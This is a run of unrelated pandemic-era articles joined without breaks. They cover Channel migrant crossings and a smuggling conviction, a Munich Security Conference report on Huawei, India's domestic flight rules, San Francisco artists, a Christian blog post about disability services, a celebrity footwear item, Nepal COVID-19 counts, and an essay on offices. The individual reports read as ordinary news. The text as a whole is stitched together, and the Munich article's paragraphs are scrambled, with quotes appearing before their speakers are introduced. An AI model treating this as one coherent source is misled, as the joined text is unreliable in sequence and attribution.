The ex-Border Force chief has today said migrants crossing the English Channel are a 'major threat' to UK borders as another boat is picked up today, taking the total number to a record-breaking 601 so far this month.

Tony Smith CBE, a former head of the Border Force, told the Commons home affairs committee that he cannot see an immediate end to the crisis.

He also commented on widely shared footage that some have claimed shows a French Navy ship escorting a migrant dinghy into British waters this week.

It comes as Border Force patrols picked up another boat carrying 13 migrants today, taking the total who have reached British shores to 601 so far this month, with 57 migrants arriving on five boats yesterday and 64 on Wednesday.

The small boat was picked up off the Kent coast at around 2.14am, with the Coastguard fixed-wing aircraft scrambled along with the Dungeness lifeboat and Border Force vessel Hunter.

Two small boats carrying 25 migrants between them are pictured being handed over by the French authorities to English Border Force officials in the English Channel on Wednesday

Five boats of migrants were spotted yesterday as temperatures reached 70F and calm conditions created perfect conditions to make the perilous crossing

French authorities also stopped another boat from travelling across the Channel.

At least 1,121 migrants have now crossed to the UK on small boats since the coronavirus lockdown was announced, according to data.

Mr Smith said: 'This was declared a critical incident by the Home Secretary last year.

'In my experience critical incidents are declared in order to put out the fire if you like with a task force and that when the fire's put out we return to business as normal.

'It's too enduring to be just a critical incident. I think this is becoming a major threat, I'm afraid, to the UK border.'

French patrol vessels and authorities also stopped another boat from travelling across the Channel

More than 1,000 migrants have now crossed to the UK on small boats since the coronavirus lockdown

He said the crossings entail a 'huge risk to life and limb, which should be our top priority in any case'.

The committee heard that migrants are told by smugglers that if they get picked up by Border Force then they will get into the UK.

Mr Smith said the Government needs to have a 'very serious look' at its capabilities.

He said: 'We haven't really geared ourselves up to a major maritime threat like this either in terms of our infrastructure, our powers, our response capability or our international response capability with France.

'This is all driven by money and smugglers. You need to send a very, very clear message that that's not going to work.'

Albanian human trafficking gang boss is jailed for nine years after smuggling migrants into UK on dinghies By Darren Boyle for MailOnline Vladimir Bardoshi, pictured, is the third member of a human trafficking gang to be jailed for smuggling migrants across the English Channel The leader of a people smuggling gang bringing illegal migrants into the UK on a dinghy has been jailed. Vladimir Bardoshi was the third member of the group of traffickers to be convicted after he was handed a nine-year prison sentence this week. The 36-year-old from Albania was part of a network that transported illegal migrants from France in small inflatable boats, police said. They made the treacherous journey by travelling across the English Channel at night and landing on beaches near to Deal in Kent. A European Arrest Warrant was issued for Bardoshi, who co-ordinated the operation, initially in the UK before moving to Europe. Bardoshi was tacked down in Spain in January and extradited back to the UK. Last month he pleaded guilty to conspiracy to do an act to facilitate the commission of a breach of UK immigration law by a non-EU person. His arrest warrant was issued following the conviction of two his associates, Feim Vata, 38, and Xhemal Baco, 26, in 2018, that saw each jailed for eight years. Bardoshi's gang used this dingy to smuggle migrants from France across the English Channel It is thought that Baco and Vata completed the trip across the Channel at least three times and, whenever they needed to abandon the boat, would simply buy a new one with cash using false names. RELATED ARTICLES Previous

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Next At least 331 migrants have been caught in English Channel... Nigel Farage accuses France of escorting migrant dinghies to... Share this article Share One night in October 2018, Baco picked up six Albanian illegal migrants in France, with Baco driving the small inflatable boat across the English Channel. When they arrived at the shore near Deal, Baco hid the boat in some bushes and he and the migrants got in a vehicle driven by Vata, before they were arrested by officers. At Canterbury Crown Court on Tuesday, Bardoshi was jailed for nine years. The final conviction follows months of investigation, led by South East Regional Organised Crime Unit (SEROCU) and helped by Kent Police, the National Crime Agency, UK Border Force, French Police, French Navy, National Maritime Information Centre, Immigration Enforcement and Thames Valley Police. Detective Inspector Clair Trueman, from SEROCU's investigation team, said: 'This conviction represents a huge amount of work by authorities both here in the UK and across Europe. I'd like to pay tribute to the tenacity of everyone involved in this investigation, as their efforts have ensured that the leader of this dangerous group has been jailed. 'When the men and the illegal migrants were arrested, we found them cold and wet, they had travelled in an overloaded inflatable boat with no life vests or navigation equipment and across a busy shipping lane in total darkness. It is remarkable that no one died during the extremely risky process. 'I hope that this sentence serves as a stark warning to those looking to put lives in danger by bringing people into the UK illegally. We are committed to apprehending those involved and will do everything in our power to ensure they are stopped.' Advertisement

Mr Smith was also asked by Ruth Edwards MP about footage that has been widely shared on social media this week.

The Rushcliffe MP said: 'It appears to show a French naval vessel accompanying a migrant dinghy with migrants in it from French waters into British waters, which I think surprised a lot of people because they thought they would be accompanying them back to France.

'Could you just clarify for us what is actually going on in those images and what the legal position is?'

A committee heard that migrants are told by smugglers that if they get picked up by Border Force then they will get into the UK

Mr Smith replied that interdiction on the high seas is an 'extraordinarily difficult area'.

He added: 'The international law is that health and safety must come first and any vessel that sees another vessel that's in that state with women and children on board, with no navigation equipment, at risk of drowning should immediately take measures to take them on board.

'As I understand it though, the migrants are resisting any indication that they would be prepared to be rescued from a small dinghy by a French vessel.

'They want to be rescued by a British vessel and so we need to be agile, we need to see what is going on and we need to be quickly ready and able to adapt and that's my main concern.'

British skipper Matt Coker, pictured, claimed French patrols are 'not interested' in stopping migrants and regularly 'escort' them across the English Channel

He said the message that is getting out is that migrants who are picked up by Border Force are 'essentially guaranteed' passage to a British port and it is unlikely they will ever be returned anywhere.

Meanwhile, a British fisherman has claimed French patrols are 'escorting' migrants across the Channel to the UK as Border Force officials pick up another boat today, taking the total to more than a record 588 this month.

Skipper Matt Coker accused the authorities of making little effort to stop the crossings into the UK, saying more migrants are being spotted when the weather is 'calm'.

It comes as Tory MP Andrew Rosindell announces he has written to the Home Secretary, Priti Patel, to 'express dismay' at the 'levels of illegal crossings' taking place in the Channel.

French police stopped around 100 migrants attempting to cross to the UK yesterday, with over 1,100 being arrested in the country in the first quarter of this year, adding to a total of 157 being picked up from the Channel.

Speaking on Thursday, Mr Coker told Sky News: 'Unfortunately what you've seen today is very typical right now.

'It's happening more and more on days like this, when the weather is calm.'

Meanwhile Mr Rosindell, the MP for Romford, tweeted today: 'I have written to Priti Patel to express my dismay and that of my constituents at the levels of illegal crossings taking place in the English Chanel.

'If anyone can get a grip on this crisis it's our Home Secretary, but we need more robust action to protect our shores immediately!'

UK Border Force were seen bringing more rescued migrants into the Port of Dover today, as reports claim several boats have been spotted attempting to cross the Channel

Minister for Immigration Compliance and the Courts Chris Philip said: 'French police stopped around 100 migrants from putting their lives at risk by attempting to cross to the UK using a small boat.

'This demonstrates the continued and intensified cooperation between the UK and France as well as the significant efforts of French colleagues.

'We are stepping up action to stop these unacceptable crossings, going after the criminals perpetrating these heinous crimes and prosecuting them for their criminal activity.'

The migrants intercepted while coming to the UK yesterday will be transferred to immigration officials and interviewed. They will be 'dealt with in line with immigration rules' and 'transferred to detention where appropriate', according to the Home Office.

Migrants are not 'specifically tested' for coronavirus but are 'continuously monitored' for symptoms, with PPE made available to Border Force and all operational staff.

It follows Nigel Farage accusing France of assisting an 'invasion' of migrants across the Channel after its border patrol ships were filmed shadowing dinghies trying to make it to the UK.

Nigel Farage has accused France of assisting an 'invasion' of migrants across the Channel, as he predicted Wednesday would be 'another record day' for crossings

Home Office figures show 57 migrants on five boats made the crossing to the UK on Thursday

The Brexit Party leader, 56, said yesterday would be 'another record day' for crossings and claimed nine migrant boats were already on the Channel.

Border patrols say they are powerless to stop the boats because migrants are threatening to throw themselves or children overboard if they are forced to turn back.

Authorities are abiding by international law which means the boats cannot be turned around, and British and French naval vessels are shadowing the dinghies in case they come into difficulties.

But Mr Farage claimed the Government are 'hiding' the true number of migrants, and demanded Home Secretary Priti Patel 'tell us the truth' about the figures.

The Home Office have rejected his remarks as 'completely untrue', adding that the boat Mr Farage saw was already under their observation.

Speaking to MailOnline, Mr Farage said the Home Office had told him five boats and 70 migrants had been intercepted on Wednesday, four of them by 4.50am and the last at 2.05pm.

But the former MEP says that he came across another boat at around 8.30am which was 'not reported', he alleged.

Border patrols claim that they are 'powerless' to stop boats because migrants have threatened to throw themselves or their children overboard if they are forced to turn back

'Why was this boat not listed in the official figures. There is a suspicion that they are not giving us the true figures,' he said today, adding it would only take 45 minutes for the boat to reach Dover.

'We counted 22 migrants on that boat and they have not been included in the Home Office figures.

'I believe the Government are hiding the true number of migrants making it to the UK.'

A Home Office spokesperson said: 'These remarks are completely untrue. Border Force intercepted five boats that day.

'The one 'spotted' by Mr Farage was already on our radar when he called it in and was included in the figures we gave out.'

MailOnline have contacted the Coastguard over Mr Farage's emergency call on Wednesday morning.

Mr Farage took to the Channel in a chartered fishing boat on Wednesday and 'rescued' more than 20 migrants crammed in two dinghies who were seen desperately trying to bail out water.

His vessel contacted the Coastguard, who dispatched RNLI rescue vessels to the scene to save the people on the packed dinghy.

The Brexit Party leader has claimed that nine migrant boats were on the Channel attempting to make the crossing

The migrants were bailing out their boat as it made its way across the English Channel today

In footage posted to his twitter, the former MEP claims to spot a French naval vessel 'escorting' migrant boats into UK waters, before the ship turns around.

Speaking after his return to Dover, Mr Farage said: 'An astonishing morning mid-Channel. A hugely overloaded boat was bailing out water as we approached with 20 migrants on board.

'It is just outrageous after all the money we have sent to France to deal with this problem that the French Navy now escort illegal migrants into UK waters.'

Under obligations to the United Nations High Commissioner for Refugees (UNHCR), authorities cannot intervene with the vessels unless they are invited to do so.

What happens when migrants are picked up in the Channel? When migrant boats are intercepted in the Channel by Border Force, the majority will be taken to the Port of Dover. The Home Office say that when migrants are stopped in the Channel and brought into the UK they are first assessed to see if they have any medical need. They will then likely be held at the Kent Intake Unit. There they can make an asylum claim and participate in an initial interview before they are released. To be eligible for asylum, the person must have left their country and be unable to go back because of fear of persecution. While awaiting a decision, asylum seekers are given 37.75 a week for essentials. Those who are likely to be eligible are moved into asylum accommodation, while those who are not, or are deemed a security risk, are moved to a detention centre, where immigration officers explore grounds for removing them from the UK. Unaccompanied children will typically be taken into care of Kent County Council. Advertisement

It is also easier for the Home Office to stop entrance into the UK on land, either by working with French authorities or by rejecting asylum requests where conditions are not met.

France was able to stop around 100 people attempting to make the journey over the weekend.

Mr Farage was previously criticised for being photographed on a fact-finding trip to Dover while strict coronavirus lockdown rules were still in place.

The total number of migrants who have crossed the Channel this year stands at 1,590, closing in on the 1,890 who made it during the whole of 2019.

Of that tally, at least 1,149 have reached the UK since Prime Minister Boris Johnson announced the lockdown in March.

The 588 who have made it to Britain so far this month have eclipsed April's record figure of 523 - with still more than a week left to go.

On May 8, 145 migrants made it in eight boats - a record for a single day.

Home Secretary Priti Patel has made repeated claims of clamping down on crossings, but the crisis has continued to worsen.

The changing weather conditions also make for an easier trip across the perilous Dover Strait shipping lane.

In one case, around 13 refugees were pictured crammed on one dinghy alongside a Border Force vessel and a large French boat in the middle of the English Channel.

The Coastguard launched its fixed-wing aircraft to work alongside the Border Force vessels Hunter and Speedwell, plus the Dover lifeboat.

Two French vessels are also said to be involved.

Mr Philp, the Minister for Immigration Compliance and the Courts, earlier said: 'We are working tirelessly with the French to stop these illegally-facilitated crossings, sharing criminal intelligence with the NCA and French authorities.

One group were escorted by a French vessel before being handed over to UK authorities

One of the vessels had several women and children on board as they crossed the Channel

'And a substantial French law enforcement deployment last weekend prevented over 100 migrants from making the crossings  with the French also stopping migrants today.

'Migrants should not risk their lives leaving a safe country and we will look return those who did today where possible.'

A Coastguard spokesman said: 'Her Majesty's Coastguard has coordinated search and rescue responses to a number of incidents off Kent today, working with Border Force.

'We sent the Dover RNLI lifeboat, Border Force vessels Hunter and Speedwell and the HM Coastguard fixed-wing aircraft. We are committed to safeguarding life around the seas and coastal areas of this country.

'HM Coastguard is only concerned with preservation of life, rescuing those in trouble and bringing them safely back to shore, where they will be handed over to the relevant partner emergency services or authorities.'

Care4Calais founder Clare Moseley estimates there are up to 200 child migrants living in squalor in settlements across Calais - most of them unaccompanied.

One of the migrant boats was severely overloaded as it made its way across the Channel

The migrants waved at the chartered fishing vessel carrying Brexit Party leader Mr Farage

There are currently around 500 people in one camp in Calais, while 240 are spread out across three smaller sites. At a fifth camp, there are around 30.

Ms Moseley said the youngest unaccompanied child she has met in a camp is a 10-year-old Afghan boy. She has also met a 13-year-old girl without any parents.

She said: 'That's a rough figure. At any point, around 20 per cent of the refugees are under 18. A lot of them come from Sudan, where they could be recruited as soldiers.

'And some are from Afghanistan. They might have lost their parents and are trying to join other people in the UK.

'Coronavirus has made the conditions even worse for them so they are even more desperate to get to the UK. These people have nothing to lose.'

A Home Office spokesman previously said: 'The government takes the welfare of unaccompanied children very seriously and provides funding to local authorities, including Kent, as a contribution to the cost of supporting unaccompanied children and those who leave care.

'This funding was significantly increased in May 2019.'
Pompeo dismissed European concerns over the health of the Western alliance. "I am happy to report that the death of the transatlantic alliance is grossly over exaggerated," Pompeo said. "The West is winning. We are collectively winning. We are doing it together."

Key ally Britain announced recently that it will allow Huawei to build sections of its 5G mobile network, to Washington's dismay. Officials in Munich said the U.S. is pushing to develop its own 5G technology.

His warnings were echoed by Secretary of State Mike Pompeo, who took aim at Chinese telecom firm Huawei. "Huawei and other Chinese backed tech companies are Trojan horses for Chinese intelligence," Pompeo said. "We can't let information go across networks that we don't have confidence won't be hijacked by the Chinese Communist Party. It's just unacceptable."

"In fact, under President Xi's rule, the Chinese Communist Party is heading even faster and further in the wrong direction. More internal repression, more predatory economic practices, more heavy-handedness, and most concerning for me, a more aggressive military posture," Esper told the audience of world leaders and military chiefs Saturday.

U.S. Secretary of Defense Mark Esper has said that China tops the list of the Pentagon's potential adversaries. Speaking at the Munich Security Conference in Germany, Esper said Beijing posed the greatest threat to the West, followed by Russia, what he called "rogue states," like North Korea and Iran, and extremist groups.

China's foreign minister, Wang Yi, also attending the Munich conference, said the U.S. accusations about Huawei were lies. "The root cause of all these problems and issues is that the U.S. does not want to see the rapid development and rejuvenation of China, and less would they want to accept the success of a socialist country," Wang said.

Details of a sideline meeting between Secretary Pompeo and Russian counterpart Sergey Lavrov were not released.

Iran's foreign minister, Mohammad Javad Zarif, also spoke to the Munich audience Saturday and was questioned about Tehran's response to the U.S. targeted killing in January of its top general, Qassem Soleimani. Zarif said his country was ready for talks. "It's not about opening talks with the United States, it's about bringing the United States back to a negotiating table that's already there," he said. "We met every three months around that negotiating table until April 2018."

The Munich conference is packed with military top brass. Analysts warn that Western defense capabilities must adapt to modern threats. In its annual Military Balance survey, the International Institute for Strategic Studies (IISS) notes that cyber defense, artificial intelligence and hybrid warfare would characterize conflict in the years to come.

"The deployment of traditional military power is not in every case an effective counter to the astute deployment of informal force by adversaries willing to operate below the threshold of war," Director-General of the IISS John Chipman told the conference. "Examples include Russias strategy in Ukraine, its use of chemical agents in the U.K., and its election meddling. Iran's ability to conduct warfare through third parties gave Tehran a strategic advantage over adversaries reliant on conventional capabilities."

Conflicts in Ukraine, the Middle East and Afghanistan were high on the agenda in Munich -- but it is China that has found itself at the center of attention, forced to defend its handling of the coronavirus outbreak and faced with intense efforts by Washington to paint Beijing as the greatest global threat.

The annual Munich Security Conference traditionally has focused on grand strategy and the relative military strength of global powers. This year, there appears to be a greater recognition that the battles of the future not only will be fought on land, air and sea, but in the realms of cyberspace and information warfare, where technology outguns military hardware.

The strong words from the U.S. delegation in Munich are just the latest salvo in the long battle ahead for cyber supremacy.
The much talked about leaving the middle seats on flights to maintain social distancing once flight operations resume is not happening, the government has confirmed.

The Ministry of Civil Aviation (MoCA) on Thursday issued general instructions for domestic travellers as India is set to resume flights from Monday. Middle seats won't be left vacant, said the aviation minister.

hardeep singh puri/ twitter

"Even if you keep the middle seat vacant, you'll still have a situation where the prescribed distance for social distancing isn't followed," he said.

Keeping them vacant will increase the ticket fare by 33 per cent which will burden the customers, he added.

Other restrictions include one check-in bag per passenger and no meal services on board. Airlines will initially be permitted to operate at one-third the capacity of the approved summer schedule Airfares will be capped for three months till August 24.

BCCL

Airlines have been asked to adhere to the lower and upper limits of fares prescribed by the Ministry.

The routes have been divided into seven sections for fare control. The first section is where flight duration is less than 40 minutes. The second section is where the duration is between 40-60 minutes. The rest all are between 60-210 minutes. On the Delhi-Mumbai route, the lower limit would be Rs 3,500 while the upper limit would be Rs 10,000.

Apart from this, airlines have also been asked to sell 40 per cent of the tickets in the lower bracket.

Vulnerable persons, such as very elderly, pregnant women and passengers with health issues, are advised to restrain from air travel.

Those who are from containment zones will be prohibited from boarding the flight.

BCCL

A self-declaration/Aarogya Setu app status (for compatible device) would also be obtained that the passenger is free of COVID-19 symptoms.

Passengers with "red" status on the Aarogya Setu app would not be permitted to travel.

Passengers should report at least two hours before the departure time.

Only those passengers with confirmed web check-in shall be allowed to enter the airport.

It is mandatory for all passengers to wear protective gear before entering the terminal.

Passengers are expected to wear masks throughout the journey.

Passenger should travel in an authorised taxi/personal vehicle following the norms specified by the Ministry of Home Affairs.

AFP

Domestic flight operations will resume in India from May 25. All commercial passenger flights were suspended in the country from March 25, when the Modi government imposed a lockdown to curb the spread of coronavirus.
Violinist Ani Bukujian was a rising star of the citys classical music scene. At 27, she was rounding out her second season with the San Francisco Ballet Orchestra as principal second violinist. Landing the role was her proudest life achievement, and it has brought great pleasure besides. Going to work doesnt feel like Im going to a job, Bukujian says.

Then the pandemic wiped out the remaining ballet season. Off-season gigs became unlikely. After one of the roommates in Bukujians converted two-bedroom apartment lost her job, they forfeited the lease and Bukujian returned to her familys Los Angeles home. Bukujian had envisioned life in San Francisco for years to come, but she doesnt see the point if work as shes known it, involving crowded rehearsals and packed concert halls, cannot go on.

Artists have long worked furiously to stay afloat in San Francisco, surviving painting to painting or gig to gig. Over the past 20 years, many have given up fighting against soaring housing prices and a punishing cost of living, and have moved out. Now, coronavirus and its attendant shutdowns  of theaters, galleries, conservatories, studios  pose an existential threat to the arts communities that remain. Experts warn that the social and economic ravages of COVID-19 could steeply accelerate the areas outflow of artists, dancers and musicians.

Hailed as a hub for free expression and thinking, San Francisco boasted strong arts employment through the 1990s, says Marshall Toplansky, a research fellow in demographics and real estate at Chapman University in Orange County. No longer. The ranks of people who identify as independent artists in San Francisco has hollowed by 28% since 2010, according to Toplansky. Employment in more established performing arts institutions, like Bukujians, has fallen. Meanwhile, the number of software developers working in San Francisco has more than doubled over the past decade.

The upshot? A decade ago, San Franciscos employment of independent creatives hovered nearly 70% above the national average but today hangs 5% below it. Freelancers have been migrating to cheaper metros, like Nashville, Las Vegas and Austin, Texas. Performing artists have flocked to Las Vegas, Dallas and Baltimore.

Among those determined to hang on is Renee DeCarlo, a visual artist who moved through six cities over a dozen years before San Francisco finally won her over in the early 2000s. We had traveled all over the country trying to find our place, and here was the perfect melting pot, she says. The citys creative richness drew her in; the tight-knit community has kept her. After upgrading from a home studio to a Bayview warehouse, DeCarlo opened the Drawing Room in 2018, an incubator in the Mission District offering studio space and visual arts classes. The 48-year-old single mother had built a flourishing network  connections that sell her drawings, fill workshops, generate commissions and advertise her space.

Jessica Christian / The Chronicle

Before the shutdown, those income streams kept her one stroke above the rising cost of living each month. Now, DeCarlo can no longer teach in-person classes or rent her studio. She cashed out all her savings and has received three of 16 emergency grants she applied for.

Many of the working artists able to survive here need familial or financial safety nets. Katerina Beckman, a 25-year-old freelance dancer/ choreographer who trained at the San Francisco Ballet School and the Juilliard School, among others, lives in her husbands family home. Even as she works five jobs, she doesnt face the anxiety of making rent. If I did, I wouldnt be living in the Bay Area, she says. I wouldnt be a dancer.

A post-pandemic exodus of artists would be the third wrenching trauma that San Francisco would have to endure, Toplansky says, citing the dot-com bust in the early 2000s and Great Recession in 2008 as the others. In the aftermath of those economic crises, the tech sector led a steroidal resurgence which, in turn, priced artists out of affordable housing and commercial workspace. Some managed through unconventional arrangements: converting warehouses, forming informal artists colonies and living in RVs, says Jennifer Hernandez, a land-use and environmental lawyer based in San Francisco. Or they didnt manage and instead moved to another sector  or another place entirely.

Displacement has particularly affected artists of color, says Kelley Lindquist, president of Artspace, a national nonprofit real estate developer that builds affordable housing for artists. Some have managed to create and sell work, or perform, while juggling several gigs or jobs. But the pandemic has clarified the fragility of this balance or, as Lindquist says, just how razor-sharp that little edge was between being OK and not being OK.

Lindquist argues that American tropes about artists  that suffering is their lot, that posthumous recognition is any kind of reward  are part of the reason artists, including the Bay Areas, are having such a hard time of it. Some performers find a very cruel irony in the ways the pandemic has shifted artistic production: Even as Americans cling to books, music and film during quarantine for comfort and escape, their creators are not considered essential.

The message from society is, Youre a musician. We can live without you, says Alexandros Petrin, a violinist who moved from Greece to the U.S. in 2010.

To be sure, city government and philanthropies have tried to address the crisis. Community projects like Paint the Void are linking businesses with artists to paint boarded storefronts, while the de Young Museum is seeking local submissions for an exhibition (theme: On the Edge). Qualifying artists could apply to the $1.5 million San Francisco Artists Relief Fund, which prioritized historically vulnerable communities. Some flooded systems closed within minutes: Roughly 1 percent of more than 55,000 applicants received funding during the funds first cycle, according to an applicant notification obtained by The Chronicle. An additional $250,000 has been made available. Experts emphasize that low-income artists of color and immigrants, who face barriers to U.S. systems and may mistrust documentation, are less likely to access relief.

Drought Map Track water shortages and restrictions across Bay Area Check the water shortage status of your area, plus see reservoir levels and a list of restrictions for the Bay Areas largest water districts.

Scott Strazzante / The Chronicle

Whether aid reaches emerging artists could determine whether they stay in the profession. Beckman has devoted herself to dance since age 8, but is unsure whether the path is viable. Im at the cusp of my career really taking off as a dancer and choreographer, and I dont know if Im going to have an outlet, she says. Meanwhile, companies employing foreign performers and schools training them must contend with visa challenges. At least 30 international dancers in the San Francisco Ballet have been ineligible for unemployment benefits, says Kelly Tweeddale, the ballets executive director. Students at the San Francisco Ballet School were sent home during quarantine without a return date.

To be sure, an exodus of artists from San Francisco could reinvigorate other communities around the country. Des Moines, Iowa; Charleston, S.C.; Madison, Wis.; Raleigh-Durham, N.C.; and Kansas City, Mo., are growing hot spots for artists, says Toplansky, while Beckman highlights flourishing ballet companies in Grand Rapids, Mich., Charlotte, N.C., and Boise, Idaho.

Still, there may be reasons for artists, and those who appreciate them, to take heart. More than half of the contributions to the San Francisco Ballets Critical Relief Fund came from first-time donors, says Tweeddale: People now are getting a sense there might not be a next time, she says. DeCarlo says she has seen a boost in studio sales as people wander around the neighborhood and see the paintings she displays. The opportunities to marry the citys tech savvy with artistic projects, from office beautification to digitized performances, are largely untapped, they both say. Rezoning land to create multipurpose living and workspaces could help artists get back on their feet, lawyer Hernandez suggests.

DeCarlo, at least, is determined to stay in the community thats elevated her work. For others wrestling with departure, more than the four walls they live within is at stake. After all, both the makers space and the muse shape creative output. San Francisco, with its rolling hills and unbridled expression, its damning inequities and painful costs, has no shortage of fodder, especially in a pandemic.

But, as every working artist knows, fodder wont pay the rent.

Carly Stern is a freelance reporter in San Francisco. Email: culture@sfchronicle.com
Finding out information that is valuable opens our eyes to many possibilities; new possibilities that we didn't see before. Either, we see a way of attempting something we thought we couldn't do or, we discover something very useful to us that we didn't even know existed.

The other night at our young adults night, the guest speaker got us to write our dreams on a whiteboard. Many of us wrote what we hope to achieve in our lives. To know this information already is a blessing to us.

Knowing our dreams can enable us to set a direction for our lives. We find out the steps we need to take. Then we follow through with the steps to get the job or vision that we desire.

Three years ago, I realised that I wanted to work with people with disabilities. This lead me to search for a field of study relevant to making disabled people more included in society.

When we find out our purpose in life, it can bring a relief like a heavy weight being lifted off our shoulders. That's what it felt like for me. I also feel this way when I find out information that is useful in achieving my dream.

I also found out what funds were available to support me in university. Finding that out made going to university seem more doable. For example, some of my transport to uni was funded; a note taker was provided in all my lectures.

Studying at Uni is challenging for anyone. However, it would have been impossible to be a university student had I not known about the services that supported me.

Not knowing information

Not everyone knows what their dreams are yet. Everyone will realise what they are really passionate about at different times. There could be various ways that people can be hit by that lightning strike.

Not having knowledge of things such as service can be a huge barrier to doing things. People in the disability community can be limited in what they can do because they lack knowledge about services. In the western world, there are many disability services that can support disabled people to achieve their goals.

It is unfortunate that if they don't know about the right service to meet their needs or they dont know how to access a service then they won't receive support - not until they discover the services. I guess this is the same case for searching for any type of service.

Finding the information

People go searching for the services that they need. They can search the web and hope to find a good result. However, some people don't have the ability to do their own search on the web.

We can ask people we know if they know of a service that could meet our needs. It is a blessing if they do know and lead us to the service.

However, they may not know or people can ask us and we don't know. But we can support our friends in what they are searching for.

Sharing information is important

If we think we know of a service or something that may be helpful, we must say. It would bring a lot of relief to the person. The amount of information you give about anything beneficial to a person doesn't matter. Any information would give someone an avenue to try and it could get them to what they need.

The University of Auckland did a huge favour for me, by telling me about the Bachelor of Human Services. I had never heard of it before. But this course was perfect as it taught me the prominent issues for people with disabilities today. It also helped me to see where I could play a part in the disability community.

I also believe its important to tell people if we think that they're good at a skill or talent. Encourage people to see that they are talented. We can also pray that one day they will know their dream.

Preaching the Gospel

In Romans 10, Paul writes about how one receives salvation. Verse 9 says, If you openly declare that Jesus is Lord and believe in your heart that God raised him from the dead, you will be saved. This is the gift that we have been given by the grace of God.

However, there is the same issue of people not knowing about this gift. There are still people out there who don't believe and may have never heard the Good News. Verse 14 breaks down the dilemma, But how can they call on him to save them unless they believe in him? And how can they believe in him if they have never heard about him? And how can they hear about him unless someone tells them?

When an engagement or a disability service has helped me, I pass it on to people who may benefit from it too. The same way, knowing what our Saviour is doing in my life, makes me want to tell others about Him!
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Olivia Culpo upgraded her athleisure look with chunky Stella McCartney platforms yesterday on Instagram.

The influencer posted a video on her Instagram Stories clad in a white crop top with matching leggings.

More from Footwear News

For footwear, the model selected Stella McCartneys Elyse platform brogues. The silhouette features a sustainable 3.1-inch wooden platform, with a ridged rubber sole, a mixed-material upper and a lace-up front. As with all of McCartneys products, the shoes are cruelty-free and 100% vegan.

Culpo also took to her Instagram grid in the look to share a giveaway initiative with Schwarzkopf.

I want all of you to feel your best while at home and Im sure you do too so Im partnering with #ColorUltime for a fun hair color giveaway. Heres how it works: Like this post and comment #ColorUltimeGiveaway for a chance to win. Three winners will be picked on May 27th to pick a @Schwarzkopf Color Ultime shade of their choice! #SchwarzkopfPartner, she wrote.

The Rhode Island native has long been a fan of Stella McCartneys Elyse, which she owns in multiple colorways. For instance, while shopping in Beverly Hills, Calif. in August 2018, the 2012 Miss Universe teamed her brogues with Saint Laurent logo graphic T-shirt with distressed gray R13 cutoff shorts. Other fans of the Elyse include Sofia Vergara, Lily Collins and Beyonce.

Story continues

In addition to her Stella McCartney shoes, Culpo owns trend-forward footwear from labels such as Bottega Veneta, Balenciaga and Versace. Her wardrobe also includes many pairs of classic pointed-toe pumps from the likes of Christian Louboutin, Jimmy Choo and Manolo Blahnik.

While Stella McCartneys Elyse comes with a designer price tag, weve rounded up some platform brogues below that wont break the bank.

Catata, wingtips

To Buy: Catata Womens Wingtips, $29.

Donald J Pliner, platform loafers

To Buy: Donald J. Pliner Flipp Perforated Leather Sneakers, $124 (was $177).

Janet Sport, loafers

To Buy: Janet Sport Loafers, $149.

Click through the gallery to see how more celebrities style their leggings, such as Jennifer Lopez, Katie Holmes and Kylie Jenner.

All products featured have been independently selected and curated by our editorial team. If you buy something through our retail links, we may earn commission and the retailer may receive certain auditable data for accounting purposes.

Launch Gallery: How J-Lo, Katie Holmes + More Celebrities Style Their Leggings

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Nepal reported 50 new coronavirus cases on Friday, taking the total number of infections in the country to 507.

The coronavirus has so far claimed three lives in the country, which continues to impose a nation-wide lockdown to contain the spread of the virus.

The Health and Population Ministry on Friday said another 21 COVID-19 patients had fully recovered and discharged from hospitals. The total number of coronavirus recovery cases stand at 70. There are 434 active coronavirus cases in the country.

Of the 50 new COVID-19 cases, nine were from Kapilvastu district -- eight men aged between 24 and 53 and an eight-year-old girl, the ministry said.

Similarly, 14 men aged between 22 and 39 and an 18-year-old woman tested positive for coronavirus in Sarlahi district. A 73-year-old woman from Chitwan district tested COVID-19 positive.

There were five new cases from Nawalparasi district -- four males aged between 33 and 74 and a 15-year-old girl.

In Banke district, fourteen men aged between 18 and 61 tested positive. In Kailali district, three men aged 19, 23 and 26 tested positive.

Dadeldhura, Baitadi, and Morang districts reported one new case each aged 22, 28 and 41 respectively.

The country-wide lockdown, imposed on March 24, will remain effective till June 2. Nepal has extended the suspension on all domestic and international flights till June 14.

The surge in coronavirus cases has prompted the Nepal government to seal the Kathmandu Valley, imposing complete restriction on people entering the capital city.

At present 14 cases have been reported in Kathmandu. Those entering into the valley require a certificate of negative Rapid Diagnostic Test, the official said.

So far, 42,488 coronavirus polymerase chain reaction tests have been conducted in the country.

Meanwhile, nearly 150 Indian nationals, who work in brick kilns of Bhaktapur district, were stopped from returning to their homes in India by the police, according to media reports. They have been sent back to the brick kilns.

The kiln owners said there were nearly 3,000 Indian labourers in 63 units who wanted to return to their families in India.

If the government would allow cross-border movement, the kiln owners said they would provide transport facilitates.

The coronavirus, which first emerged in China's Wuhan city, has claimed 3,30,000 lives with over 5.1 million confirmed infections across the world.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
The value of the office, the last boundary between work and home, temporarily lost because of the coronavirus pandemic

The office, for the foreseeable future, is dead. Google and Facebook are telling employees they can work remotely until 2021. Twitter is allowing employees to work from home forever. A number of big banks are contemplating never fully refilling their office towers in Manhattan. Last week, my colleague Matthew Haag wrote a thoroughly depressing story in which the chief executive of Halstead Real Estate asked him point-blank:

Looking forward, are people going to want to crowd into offices?

Call me crazy, but Im still thinking: Yes. Maybe not today, maybe not tomorrow, but someday. The modern office may be the target of bleak caricature: The lighting is bad, the meetings are long, the only recourse to boredom is filching a colleagues stapler and embalming it in lemon Jell-O (if you work at Dunder Mifflin). But over the coming months, I suspect that those of us who spent most of our careers in offices will grow to miss them.

What will we miss about them, specifically? Camaraderie, for one thing. Maybe its obvious that offices are social hubs  its certainly an idea that television sitcoms and dramas have long grasped  but the numbers are still interesting. Two-thirds of all women who work outside the home, for instance, say that the social aspect of their jobs is a major reason for showing up each day, according to a comprehensive survey by Gallup.

Ill admit I fall rather contentedly into this group. Until my mid-30s, I was a serene creature of the cubicle. Not being religious, the office was where I often found fellowship; not yet being married, it was where I had a work spouse. For people in that liminal period of emergent adulthood  when theyre still schmoozers, rather than machers, to use sociologist Robert Putnams memorable distinction  the office can play a crucial and happy role.

